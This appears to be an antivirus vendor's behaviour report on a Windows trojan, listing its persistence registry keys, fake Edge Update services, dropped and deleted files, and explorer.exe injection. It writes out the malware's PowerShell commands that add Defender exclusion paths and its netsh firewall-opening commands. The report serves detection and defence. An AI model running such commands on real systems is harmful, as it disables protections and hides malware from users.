Trojan.Siggen31.36519

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'SketchingVandalizeb' = '%ProgramFiles(x86)%\Creditability\Voiture.exe "XezephXezeptXezeptXezeppXezepsXezep:Xezep/Xezep/XezepwXe...
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'SketchingVandalize' = '%LOCALAPPDATA%\Voiture.exe "XezephXezeptXezeptXezeppXezepsXezep:Xezep/Xezep/XezepwXezepwXezepwXezep.Xeze...
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'DrawstringsVandalize' = '"%ProgramFiles(x86)%\Creditability\chanterelle.exe"'
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'DrawstringsDrawstringsn' = '"%LOCALAPPDATA%\seagoing.exe"'
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'DrawstringsDrawstrings' = '"%ProgramFiles(x86)%\Creditability\chanterelle.exe"'

Creates or modifies the following files

<SYSTEM32>\tasks\oa4vfg\mfbfps
<SYSTEM32>\tasks\5nm0sv\ji82zs
<SYSTEM32>\tasks\1gsb8h\g5j5qy
<SYSTEM32>\tasks\nvqsag\d869kx
<SYSTEM32>\tasks\hnfrcg\aqfe5v
<SYSTEM32>\tasks\b1draq\lv93pl
<SYSTEM32>\tasks\8q30t6\wfjajv
%APPDATA%\microsoft\windows\start menu\programs\startup\oldest.lnk
<SYSTEM32>\tasks\microsoftedgeupdatetaskmachinecore{bc11cc84-aa75-491c-9f3e-26f0106cde44}
<SYSTEM32>\tasks\microsoftedgeupdatetaskmachineua{0c0d59d4-b501-4cfb-85de-14fdd1b90392}

Sets the following service settings

[HKLM\System\CurrentControlSet\Services\edgeupdate] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\edgeupdate] 'ImagePath' = '"%ProgramFiles(x86)%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc'
[HKLM\System\CurrentControlSet\Services\edgeupdatem] 'ImagePath' = '"%ProgramFiles(x86)%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc'

Creates the following services

'edgeupdate' %ProgramFiles(x86)%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /sv
'edgeupdatem' %ProgramFiles(x86)%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsv

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\scannell\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\Creditability\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\deicing\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\seagoingseagoing\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\inquest\""

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Voiturea" dir=in action=allow program="%ProgramFiles(x86)%\Creditability\Voiture.exe$" enable=yes profile=public,private
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Voitureb" dir=out action=allow program="%ProgramFiles(x86)%\Creditability\Voiture.exe$" enable=yes profile=public,private

Injects code into

the following system processes:

%WINDIR%\syswow64\explorer.exe

Modifies file system

Creates the following files

%TEMP%\nsod0b.tmp\nsexec.dll
%TEMP%\nsod0b.tmp\microsoftedgewebview2setup.exe
%TEMP%\nsod0b.tmp\48078.exe
%TEMP%\nsod0b.tmp\chanterelle.exe
%TEMP%\nsod0b.tmp\sexuality.exe
%TEMP%\nsod0b.tmp\fiend.xml
%TEMP%\nsod0b.tmp\voiture.xml
%TEMP%\nsod0b.tmp\actuals.xml
%TEMP%\nsod0b.tmp\voiturel.xml
%TEMP%\nsod0b.tmp\actualsl.xml
%TEMP%\nsod0b.tmp\voituren.xml
%TEMP%\nsod0b.tmp\actualsn.xml
%TEMP%\nsod0b.tmp\voiturea.xml
%TEMP%\nsod0b.tmp\actualsa.xml
%TEMP%\nsod0b.tmp\thwarted.xml
%TEMP%\nsod0b.tmp\psychiatry.xml
%TEMP%\nsod0b.tmp\servicing.xml
%TEMP%\nsod0b.tmp\pedophilia.xml
%TEMP%\nsod0b.tmp\adversities.xml
%TEMP%\nsod0b.tmp\leprosy.xml
%TEMP%\nsod0b.tmp\seagoing.xml
%TEMP%\nsod0b.tmp\seagoingl.xml
%TEMP%\nsod0b.tmp\117588.exe
%TEMP%\nso4cb9.tmp\simplefc.dll
%ProgramFiles(x86)%\seagoingseagoing\seagoing.exe
%ProgramFiles(x86)%\inquest\adversities.exe
%ProgramFiles(x86)%\deicing\leprosy.exe
%ProgramFiles(x86)%\creditability\runtimes\win-arm64\native\webview2loader.dll
%ProgramFiles(x86)%\creditability\runtimes\win-x64\native\webview2loader.dll
%ProgramFiles(x86)%\creditability\runtimes\win-x86\native\webview2loader.dll
%TEMP%\nse515b.tmp\system.dll
%TEMP%\nsj5438.tmp\system.dll
%ProgramFiles(x86)%\creditability\psychiatry.exe
%ProgramFiles(x86)%\creditability\creditability.exe
%ProgramFiles(x86)%\creditability\voiture.exe.config
%ProgramFiles(x86)%\creditability\microsoft.web.webview2.winforms.dll
%ProgramFiles(x86)%\creditability\microsoft.web.webview2.wpf.dll
%ProgramFiles(x86)%\creditability\microsoft.web.webview2.core.dll
%ProgramFiles(x86)%\creditability\class.dll
%ProgramFiles(x86)%\creditability\voiture.dll
%ProgramFiles(x86)%\creditability\voiture.exe
%LOCALAPPDATA%\runtimes\win-arm64\native\webview2loader.dll
%LOCALAPPDATA%\runtimes\win-x64\native\webview2loader.dll
%LOCALAPPDATA%\runtimes\win-x86\native\webview2loader.dll
%LOCALAPPDATA%\voiture.exe.config
%LOCALAPPDATA%\app.exe.config
%LOCALAPPDATA%\microsoft.web.webview2.winforms.dll
%LOCALAPPDATA%\microsoft.web.webview2.wpf.dll
%LOCALAPPDATA%\microsoft.web.webview2.core.dll
%LOCALAPPDATA%\class.dll
%LOCALAPPDATA%\seagoing.exe
%LOCALAPPDATA%\voiture.exe
%TEMP%\nsj58ca.tmp\nsexec.dll
%TEMP%\nso620d.tmp\nsexec.dll
%TEMP%\nsj69da.tmp\system.dll
%TEMP%\nse6af3.tmp\nsexec.dll
%TEMP%\nsz713a.tmp\system.dll
%TEMP%\nsz7272.tmp\nsexec.dll
%TEMP%\nsj8630.tmp\nsexec.dll
%TEMP%\nsj9270.tmp\nsexec.dll
%TEMP%\nsja592.tmp\nsexec.dll
%TEMP%\nseacc3.tmp\accesscontrol.dll
%TEMP%\nseb1a3.tmp\system.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdate.exe
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdate.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatebroker.exe
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdateondemand.exe
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatecomregistershell64.exe
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgecomregistershellarm64.exe
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psmachine.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psmachine_64.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psmachine_arm64.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psuser.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psuser_64.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\psuser_arm64.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\notice.txt
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\edgeupdate.dat
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatecore.exe
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_am.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ar.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bg.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bn.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ca.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_cs.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_da.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_de.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_el.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_en.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_en-gb.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_es.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_es-419.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_et.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fa.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fi.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fil.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fr.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_gu.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_hi.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_hr.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_hu.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_id.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_is.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_it.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_iw.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ja.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_kn.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ko.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lt.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lv.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ml.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mr.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ms.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_nb.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_nl.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pl.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pt-br.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pt-pt.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ro.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ru.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sk.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sl.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sv.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ta.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_te.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_th.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_tr.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_uk.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ur.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_vi.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_zh-cn.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_zh-tw.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_af.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_as.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_az.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bn-in.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bs.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ca-es-valencia.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_cy.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_eu.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fr-ca.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ga.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_gd.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_gl.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ka.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_kk.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_km.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_kok.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lb.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_lo.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mi.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mk.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_mt.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ne.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_nn.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_or.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_pa.dll
%TEMP%\nseb599.tmp\system.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_quz.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sq.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr-cyrl-ba.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr-cyrl-rs.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_sr-latn-rs.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_tt.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ug.dll
%ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatesetup.exe
%TEMP%\nsod0b.tmp\selfdel.dll
%ProgramFiles(x86)%\microsoft\edgeupdate\microsoftedgeupdate.exe
%TEMP%\af397ef28e484961ba48646a5d38cf54.db.ses
%ALLUSERSPROFILE%\microsoft\edgeupdate\log\microsoftedgeupdate.log
%TEMP%\nszf6ae.tmp\system.dll
%TEMP%\nsjffc2.tmp\system.dll
%WINDIR%\temp\cab2857.tmp
%WINDIR%\temp\tar2868.tmp
%WINDIR%\temp\cab3fb0.tmp
%WINDIR%\temp\tar3fb1.tmp
%WINDIR%\temp\cab400f.tmp
%WINDIR%\temp\tar4010.tmp

Deletes the following files

%TEMP%\nse515b.tmp\system.dll
%TEMP%\nso4cb9.tmp\simplefc.dll
%TEMP%\nsj5438.tmp\system.dll
%TEMP%\nsj58ca.tmp\nsexec.dll
%TEMP%\nso620d.tmp\nsexec.dll
%TEMP%\nsj69da.tmp\system.dll
%TEMP%\nse6af3.tmp\nsexec.dll
%TEMP%\nsz713a.tmp\system.dll
%TEMP%\nsz7272.tmp\nsexec.dll
%TEMP%\nsj8630.tmp\nsexec.dll
%TEMP%\nsj9270.tmp\nsexec.dll
%TEMP%\nsja592.tmp\nsexec.dll
%TEMP%\nseacc3.tmp\accesscontrol.dll
%TEMP%\nseb1a3.tmp\system.dll
%TEMP%\nseb599.tmp\system.dll
%TEMP%\nsod0b.tmp\117588.exe
%TEMP%\nsod0b.tmp\48078.exe
%TEMP%\nsod0b.tmp\actuals.xml
%TEMP%\nsod0b.tmp\actualsa.xml
%TEMP%\nsod0b.tmp\actualsl.xml
%TEMP%\nsod0b.tmp\actualsn.xml
%TEMP%\nsod0b.tmp\adversities.xml
%TEMP%\nsod0b.tmp\chanterelle.exe
%TEMP%\nsod0b.tmp\fiend.xml
%TEMP%\nsod0b.tmp\leprosy.xml
%TEMP%\nsod0b.tmp\microsoftedgewebview2setup.exe
%TEMP%\nsod0b.tmp\nsexec.dll
%TEMP%\nsod0b.tmp\pedophilia.xml
%TEMP%\nsod0b.tmp\psychiatry.xml
%TEMP%\nsod0b.tmp\seagoing.xml
%TEMP%\nsod0b.tmp\seagoingl.xml
%TEMP%\nsod0b.tmp\selfdel.dll
%TEMP%\nsod0b.tmp\servicing.xml
%TEMP%\nsod0b.tmp\sexuality.exe
%TEMP%\nsod0b.tmp\thwarted.xml
%TEMP%\nsod0b.tmp\voiture.xml
%TEMP%\nsod0b.tmp\voiturea.xml
%TEMP%\nsod0b.tmp\voiturel.xml
%TEMP%\nsod0b.tmp\voituren.xml
%TEMP%\nszf6ae.tmp\system.dll
%TEMP%\nsjffc2.tmp\system.dll
%WINDIR%\temp\cab2857.tmp
%WINDIR%\temp\tar2868.tmp
%WINDIR%\temp\cab3fb0.tmp
%WINDIR%\temp\tar3fb1.tmp
%WINDIR%\temp\cab400f.tmp
%WINDIR%\temp\tar4010.tmp

Moves the following files

from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdate.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdate.exe
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdate.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdate.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatecore.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdatecore.exe
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgeupdatecomregistershell64.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgeupdatecomregistershell64.exe
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\microsoftedgecomregistershellarm64.exe to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\microsoftedgecomregistershellarm64.exe
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\notice.txt to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\notice.txt
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\edgeupdate.dat to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\edgeupdate.dat
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_af.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_af.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_am.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_am.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ar.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ar.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_as.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_as.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_az.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_az.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bg.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_bg.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bn.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_bn.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bn-in.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_bn-in.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_bs.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_bs.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ca.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ca.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ca-es-valencia.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ca-es-valencia.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_cs.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_cs.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_cy.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_cy.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_da.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_da.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_de.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_de.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_el.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_el.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_en.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_en.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_en-gb.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_en-gb.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_es.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_es.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_es-419.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_es-419.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_et.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_et.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_eu.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_eu.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fa.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_fa.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fi.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_fi.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fil.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_fil.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fr.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_fr.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_fr-ca.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_fr-ca.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ga.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ga.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_gd.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_gd.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_gl.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_gl.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_gu.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_gu.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_hi.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_hi.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_hr.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_hr.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_hu.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_hu.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_id.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_id.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_is.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_is.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_it.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_it.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_iw.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_iw.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ja.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ja.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ka.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ka.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_kk.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_kk.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_km.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_km.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_kn.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_kn.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_ko.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_ko.dll
from %ProgramFiles(x86)%\microsoft\temp\eub0e7.tmp\msedgeupdateres_kok.dll to %ProgramFiles(x86)%\microsoft\edgeupdate\1.3.195.59\msedgeupdateres_kok.dll
